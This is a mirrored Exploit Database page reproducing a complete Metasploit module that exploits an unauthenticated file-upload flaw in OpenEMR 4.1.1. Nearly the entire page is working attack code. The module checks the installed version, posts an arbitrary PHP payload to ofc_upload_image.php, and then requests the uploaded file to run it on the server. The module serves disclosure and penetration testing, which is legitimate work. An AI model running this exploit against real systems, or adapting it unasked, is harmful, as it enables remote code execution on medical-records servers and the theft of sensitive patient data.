OpenEMR – Arbitrary ‘.PHP’ File Upload (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2013-02-20
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24529/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::FileDropper
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "OpenEMR PHP File Upload Vulnerability",
  			'Description'=> %q{
  					This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
  				ofc_upload_image.php file from the openflashchart library, a malicious user can
  				upload a file to the tmp-upload-images directory without any authentication, which
  				results in arbitrary code execution. The module has been tested successfully on
  				OpenEMR 4.1.1 over Ubuntu 10.04.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'OSVDB', '90222' ],
  					[ 'BID', '37314' ],
  					[ 'EBD', '24492' ],
  					[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
  					[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
  				],
  			'Platform' => ['php'],
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					['OpenEMR 4.1.1', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Feb 13 2013",
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
  				], self.class)
  	end
  
  	def check
  		uri = target_uri.path
  		peer = "#{rhost}:#{rport}"
  
  		# Check version
  		print_status("#{peer} - Trying to detect installed version")
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> normalize_uri(uri, "interface", "login", "login.php")
  		})
  
  		if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
  			version = $1
  		else
  			return Exploit::CheckCode::Unknown
  		end
  
  		print_status("#{peer} - Version #{version} detected")
  
  		if version > "4.1.1"
  			return Exploit::CheckCode::Safe
  		end
  
  		# Check for vulnerable component
  		print_status("#{peer} - Trying to detect the vulnerable component")
  
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
  		})
  
  		if res and res.code == 200 and res.body =~ /Saving your image to/
  			return Exploit::CheckCode::Detected
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		uri = target_uri.path
  
  		peer = "#{rhost}:#{rport}"
  		payload_name = rand_text_alpha(rand(10) + 5) + '.php'
  		my_payload = payload.encoded
  
  		print_status("#{peer} - Sending PHP payload (#{payload_name})")
  		res = send_request_raw({
  			'method'=> 'POST',
  			'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
  			'headers' => { "Content-Length" => my_payload.length.to_s },
  			'data'=> my_payload
  		})
  
  		# If the server returns 200 and the body contains our payload name,
  		# we assume we uploaded the malicious file successfully
  		if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
  			fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
  		end
  
  		register_file_for_cleanup(payload_name)
  
  		print_status("#{peer} - Executing PHP payload (#{payload_name})")
  		# Execute our payload
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
  		})
  
  		# If we don't get a 200 when we request our malicious payload, we suspect
  		# we don't have a shell, either.Print the status code for debugging purposes.
  		if res and res.code != 200
  			print_error("#{peer} - Server returned #{res.code.to_s}")
  		end
  	end
  
  end